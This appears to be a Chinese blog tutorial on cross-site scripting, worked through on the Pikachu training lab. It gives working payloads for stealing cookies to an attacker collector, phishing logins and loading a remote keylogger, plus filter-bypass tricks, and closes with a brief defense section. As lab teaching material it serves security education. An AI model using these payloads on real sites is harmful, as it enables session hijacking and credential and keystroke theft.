20-OWASP top10--XXS跨站脚本攻击

目录

什么是xxs?

XSS漏洞出现的原因

XSS分类

反射型XSS

储存型XSS

DOM型 XSS

XSS漏洞复现

XSS的危害或能做什么?

劫持用户cookie

钓鱼登录

XSS获取键盘记录

 同源策略

(1)什么是跨域

(2)同源策略

(3)同源策略修改(允许所有人跨域访问)

XSS绕过

简单的绕过方法

 使用HTML进行编码绕过:

XSS绕过之htmlspecialchars()函数

xss之href输出绕过:

xss之js输出绕过:

XSS常规防范  


什么是xxs?

XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。

XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言


XSS漏洞出现的原因

程序对参数输入和输出的控制不够严格,导致攻击者"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害


XSS分类

反射型XSS

交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。

打开pikachu靶场

http://10.0.0.101:90/pikachu/vul/xss/xss_reflected_get.php

 反射型xss(get)的文本框输入xss攻击代码:

2'"><script>alert(1)</script>

 文字框有字符长度限制解决方式:

右击--检查--元素检查--选择文字框--修改相对应的元素长度数值

 重新输入xss代码执行:

2'"><script>alert(1)</script>

 成功弹窗,存在反射型xss漏洞:

 重新进入页面未弹框,说明xss代码未存到数据库;为反射型xss:


储存型XSS

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

打开pikachu靶场

http://10.0.0.101:90/pikachu/vul/xss/xss_stored.php

存储型xss的文本框插入xss代码:

2'"><script>alert(1)</script>

执行成功弹窗,存在xss漏洞:

 重新点击进入或刷新页面还会进行弹窗,说明xss代码存储到数据库里;为存储型xss


DOM型 XSS

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞

什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。

 打开pikachu靶场

http://10.0.0.101:90/pikachu/vul/xss/xss_dom.php

在DOM型xss的文本框插入xss代码:

<a href='#' onclick="alert(2222)">what do you see?</a>

 执行,点击what do you see?成功弹窗,存在dom型 xss漏洞:


XSS漏洞复现

打开pikachu靶场--xss之盲打:

http://10.0.0.101:90/pikachu/vul/xss/xssblind/xss_blind.php

尝试进行XSS(跨站脚本攻击) 

2222'"><script>alert(1111)</script>

模拟管理员查看留言信息:

打开pikachu后台页面:

http://10.0.0.101:90/pikachu/vul/xss/xssblind/admin_login.php#

 打开后台,插入的代码被执行了;填写的内容存到数据库了


XSS的危害或能做什么?

劫持用户cookie

获取网站后台管理员的cookie(登陆后的页面)

打开XXS后台(用于获取cookie):

pikachuXXS后台:http://10.0.0.101:90/pikachu/pkxss/pkxss_login.php

也可使用XSS在线平台:https://blog.csdn.net/p36273/article/details/131264010

编辑xss后台获取cookies的文件:

编辑XSS配置文件(攻击者主机)

http://10.0.0.101:90/pikachu/pkxss/xcookie/pkxss_cookie_result.php
--根据XSS后台的URL找到XSS网站目录下cookie.php文件

修改cookie.php文件的重定向(登录网站后台跳转到网站首页):
header("Location:http://10.0.0.101:90/pikachu/index.php");//閲嶅畾鍚戝埌涓€涓彲淇$殑缃戠珯

--重定向:通过header("Location: ...")函数,将用户重定向到Pikachu平台的首页页面。

 在网站的文字框中输入xxs代码:

1111'"><script>document.location = 'http://10.0.0.101:90/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

1111'"><script>document.location = 'http://10.0.0.101:90/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

-- 是一个典型的XSS(跨站脚本)攻击尝试。攻击者意图在网站的文字框(可能是评论框、用户名输入框等)中输入这段代码,目标是利用网站的漏洞,将用户的浏览器重定向到一个恶意的URL,并且在重定向过程中传递当前用户的cookie信息。
说明:
avaScript代码:<script> 标签开始执行JavaScript代码,其中 document.location 属性用于更改当前页面的URL。

重定向URL:http://10.0.0.101:90/pikachu/pkxss/xcookie/cookie.php?cookie= 是攻击者指定的重定向地址,它后面跟着一个JavaScript表达式,用于获取当前页面的cookie信息。--(传到攻击者的XXS平台)

获取Cookie:document.cookie 返回当前页面的所有cookie信息,并将其作为URL的查询参数传递。

模拟管理员登陆后台(登录即获取cookie)

打开登录pikaqiu网站管理后台;进去自动到网站首页(可设置不跳转)

pikaqiu网站管理后台地址:

http://10.0.0.101:90/pikachu/vul/xss/xssblind/admin_login.php

 管理员登录后台指定重定向URL地址(首页)

1111'"><script>document.location = 'http://10.0.0.101:90/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> 

重定向URL:http://10.0.0.101:90/pikachu/pkxss/xcookie/cookie.php?cookie= 是攻击者指定的重定向地址,它后面跟着一个JavaScript表达式,用于获取当前页面的cookie信息。--(传到攻击者的XXS平台)

 XSS平台获取到了网站后台管理员的cookie:(pikachuXSS后台或xss在线平台)

获取的cookie如下: 
ant[uname]=admin;       --账户admin
ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815;   --密码通过www.cmd5.com解码为:123456
PHPSESSID=d9f4qom7r6rge9rha28ch6hlm3 

 获取cookie中的管理员密码进行解码:

cmd5在线解密:https://www.cmd5.com/

 或者用burpsuite抓包登录后台替换管理员的cookie:

自动替换成管理员的cookie。完成登陆后台。(注意是替换请求头的)  


钓鱼登录

修改配置信息

 文件位置:
C:\phpStudy\WWW\pikachu\pkxss\xfish\fish.php
修改文件内容(传到XSS平台的地址):
header("Location: http://10.0.0.101:90/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}

 网站文字框输入XSS钓鱼代码:

1111'"><script src="http://10.0.0.101:90/pikachu/pkxss/xfish/fish.php"></script>

 受害者输入账户密码,登录信息自动传到攻击者的XSS平台:


XSS获取键盘记录

攻击者主机设置

文件位置:
C:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
添加修改文件内容:
header("Access-Control-Allow-Origin:*");
--必须设置允许被跨域访问;*表示允许所有人访问

 

文件位置:
C:\phpStudy\WWW\pikachu\pkxss\rkeypress\rk.js(攻击者的主机)

修改rk.js文件(攻击者控制的XSS平台服务器地址):
ajax.open("POST", "http://10.0.0.101:90/pikachu/pkxss/rkeypress/rkserver.php",true);

网站文字框插入XSS语句 : 

如:http://10.0.0.101:90/pikachu/vul/xss/xss_stored.php

111'"><script src="http://10.0.0.101:90/pikachu/pkxss/rkeypress/rk.js"></script>

111'"><script src="http://10.0.0.101:90/pikachu/pkxss/rkeypress/rk.js"></script>

说明:
'">万能闭合;
用<script>标签开始插入JavaScript脚本;
src="http://10.0.0.101:90/pikachu/pkxss/rkeypress/rk.js":这是脚本的源地址,指向一个外部服务器(攻击者)上的JavaScript文件。攻击者通过这种方式可以将恶意代码托管在第三方服务器上,当用户访问含有此payload的页面时,浏览器会加载并执行这个远程脚本。
</script>:结束<script>标签,确保HTML语法的正确性。

 攻击者登录XSS平台查看

 登录XSS平台查看获取的键盘记录:

http://10.0.0.101:90/pikachu/pkxss/pkxss_login.php

搜索框表单提交隐藏字段及不限制字段长度(用bp代理选项的响应操作勾选相关选项)  


 同源策略

(1)什么是跨域

http:// www.   oldboyedu.com  :80 /   news/index.php
协议    子域名    主域名       端口    资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

(2)同源策略

了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源

(3)同源策略修改(允许所有人跨域访问)

D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
   同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。


XSS绕过

简单的绕过方法

xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。

(1)对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
(2)防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。
 例:<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
(3)防止后台对输入的内容进行替换,采用拼拼凑的输入方法。
 例:<sc<script>ript>alert('你打篮球像oldboy')</scr<script>ipt>
(4)使用注释来干扰后台对输入内容的识别。
 例:<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
(5)编码
 思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)

例:使用事件属性onerror(): <img src=# οnerrοr="alert('oldboy')"/>
使用HTML进行编码: <img src=x οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

 使用HTML进行编码绕过:

 

XSS绕过之htmlspecialchars()函数

 htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体

网站配置文件设置了htmlspecialchars()函数
预定义的字符是:
 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt
 
 该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号

可使用以下语句绕过:  q' οnclick='alert(111)'

 

xss之href输出绕过:

javascript:alert(1111) 直接代入a标签herf里面一样可以绕过htmlspecialchars

xss之js输出绕过:

<script>$ms='11'</script><script>alert(1111)</script> ;if($ms.length != 0){if($ms == 'tmac'){$('#fromjs').text('tmac确实厉害,看那小眼神..')}else {//            alert($ms);$('#fromjs').text('无论如何不要放弃心中所爱..')}}</script>


XSS常规防范  

XSS防御的总体思路是:对输入进行过滤,对输出进行编码

过滤

根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。

转义

所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义()


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/37753.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

容易涨粉的视频素材有哪些?容易涨粉的爆款短素材库网站分享

如何挑选社交媒体视频素材&#xff1a;顶级视频库推荐 在社交媒体上脱颖而出&#xff0c;视频素材的选择至关重要。以下是一些顶级的视频素材网站推荐&#xff0c;不仅可以提升视频质量&#xff0c;还能帮助你吸引更多粉丝。 蛙学网&#xff1a;创意的源泉 作为创意和独特性的…

Databend db-archiver 数据归档压测报告

Databend db-archiver 数据归档压测报告 背景准备工作Create target databend table启动 small warehouse准备北京区阿里云 ECSdb-archiver 的配置文件准备一亿条源表数据开始压测 背景 本次压测目标为使用 db-archiver 从 MySQL 归档数据到 Databend Cloud&#xff0c; 归档的…

【王佩丰 Excel 基础教程】第一讲:认识Excel

文章目录 前言一、Excel软件简介1.1、历史上的其他数据处理软件与 Microsoft Excel1.2、Microsoft Excel 能做些什么1.3、Excel 界面介绍 二、Microsoft Excel 的一些重要概念2.1、Microsoft Excel 的几种常见文件类型2.2、工作簿、工作表、单元格. 三、使用小工具&#xff1a;…

Python_Socket

Python Socket socket 是通讯中的一种方式&#xff0c;主要用来处理客户端与伺服器端之串连&#xff0c;只需要protocol、IP、Port三项目即可进行网路串连。 Python套件 import socketsocket 常用函式 socket.socket([family], [type] , [proto] ) family: 串接的类型可分为…

Java中的Checked Exception和Unchecked Exception的区别

在Java中&#xff0c;异常分为两大类&#xff1a;已检查异常&#xff08;Checked Exception&#xff09;和未检查异常&#xff08;Unchecked Exception&#xff09;。 已检查异常是在编译时必须被捕获或声明的异常。换句话说&#xff0c;如果你的方法可能会抛出某个已检查异常&…

韩顺平0基础学Java——第33天

p653-674 坦克大战 继续上回游戏 将每个敌人的信息&#xff0c;恢复成Node对象&#xff0c;放进Vector里面。 播放音乐 使用一个播放音乐的类。 第二阶段结束了 网络编程 相关概念 &#xff08;权当是复习计网了&#xff09; 网络 1.概念:两台或多台设备通过一定物理设备连…

龙芯久久派到手开机测试

今天刚拿到龙芯久久派&#xff0c;没看到文档&#xff0c;只有视频&#xff0c;我来写个博客&#xff0c;做个记录&#xff0c;免得以后忘记 1.连接usb转ttl串口与龙芯久久派&#xff0c;如图所示。 2.将usb转串口接到电脑USB口 也就是这个接电脑上 3.打开串口调试助手或Secu…

[数据集][目标检测]游泳者溺水检测数据集VOC+YOLO格式4599张2类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;4599 标注数量(xml文件个数)&#xff1a;4599 标注数量(txt文件个数)&#xff1a;4599 标注…

Android 11.0 修改系统显示大小导航栏消失

Android 11.0 修改系统显示大小导航栏消失 1.显示大小设置为大时&#xff0c;导航栏图标不显示。 设置为大&#xff0c;较大&#xff0c;最大时&#xff0c;导航栏图标不显示。 2.开始怀疑是导航栏被隐藏了&#xff0c;各种折腾无效。 3.发现&#xff1a; frameworks/base/pa…

amis源码 更新组件数据域的几种方法

更新组件数据域的几种方法&#xff1a; 默认都是合并数据&#xff0c;非覆盖(指定replace为true的才是覆盖)&#xff1a; const comp amisScoped.getComponentById(id);//或者getComponentByName(name) 1.comp.setData(values, replace); //更新多个值values&#xff0c; r…

Linux多进程和多线程(一)

进程 进程的概念 进程&#xff08;Process&#xff09;是操作系统对一个正在运行的程序的一种抽象。它是系统运行程序的最小单位&#xff0c;是资源分配和调度的基本单位。 进程的特点如下 进程是⼀个独⽴的可调度的活动, 由操作系统进⾏统⼀调度, 相应的任务会被调度到cpu …

Python逻辑控制语句 之 判断语句--if else结构

1.if else 的介绍 if else &#xff1a;如果 ... 否则 .... 2.if else 的语法 if 判断条件: 判断条件成立&#xff0c;执行的代码 else: 判断条件不成立&#xff0c;执行的代码 &#xff08;1&#xff09;else 是关键字, 后⾯需要 冒号 &#xff08;2&#xff09;存在冒号…

【BILIBILIAS】安卓端B站视频下载神器,4K画质轻松get!

B站视频下载的方法之前给大家分享过网页版和电脑版的工具《太猛了&#xff01;B站视频下载方法&#xff01;三端通用&#xff01;》&#xff0c;但是手机上的工具没有给大家分享过。今天今天就给大家分享一个安卓端的B站视频下载神器——BILIBILIAS&#xff0c;可以轻松下载4K画…

【UE 网络】专用服务器和多个客户端加入游戏会话的过程,以及GameMode、PlayerController、Pawn的创建流程

目录 0 引言1 多人游戏会话1.1 Why&#xff1f;为什么要有这个1.2 How&#xff1f;怎么使用&#xff1f; 2 加入游戏会话的流程总结 &#x1f64b;‍♂️ 作者&#xff1a;海码007&#x1f4dc; 专栏&#xff1a;UE虚幻引擎专栏&#x1f4a5; 标题&#xff1a;【UE 网络】在网络…

Linux部署Java项目至云服务器

文章目录 1.服务器环境2.发布部署过程2.1 执行SQL脚本2.2 修改代码中数据源的配置2.3 修改配置中的日志级别与日志文件路径2.4 打包Java程序2.5 上传到服务器2.6 后台运行2.7 服务器开放对应的端口2.8 访问验证 1.服务器环境 要将我们的项目部署到云服务器上我们就需要先有一个…

2024年值得信赖的在线代理IP服务商

在当今的网络世界中&#xff0c;代理IP服务成为了许多企业和个人在进行网络数据处理、多账号管理等任务时不可或缺的工具。然而&#xff0c;面对市场上众多的代理IP服务商&#xff0c;如何挑选出真正值得信赖的服务商成为了一大难题。作为专业的测评团队&#xff0c;我们近期对…

基于MIMO系统的预编码matlab性能仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 最小均方误差&#xff08;MMSE&#xff09;准则 4.2 量化准则 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 MATLAB2022a 3.部分核心程序 …

HarmonyOS APP应用开发项目- MCA助手(持续更新中~)

简言&#xff1a; gitee地址&#xff1a;https://gitee.com/whltaoin_admin/money-controller-app.git端云一体化开发在线文档&#xff1a;https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/agc-harmonyos-clouddev-view-0000001700053733-V5 注&#xff1…

【PyQt】20-QTimer(动态显示时间、定时关闭)

QTimer 前言一、QTimer介绍二、动态时间展示2.1 代码2.2 运行结果 三、定时关闭3.1 介绍他的两种用法1、使用函数或Lambda表达式2、带有定时器类型&#xff08;高级&#xff09; 3.2 代码3.3 运行结果 总结 前言 好久没学习了。 一、QTimer介绍 pyqt里面的多线程可以有两种实…

微信内置H5支付

&#x1f9d1;‍&#x1f4bb; 写在开头 点赞 收藏 学会&#x1f923;&#x1f923;&#x1f923; 场景是用户通过微信扫app内的收款码&#xff0c;跳到一个h5页面。然后完成支付。 代码实现的整体流程&#xff1a; 使用微信扫码&#xff0c;码是app内生成的&#xff0c;码…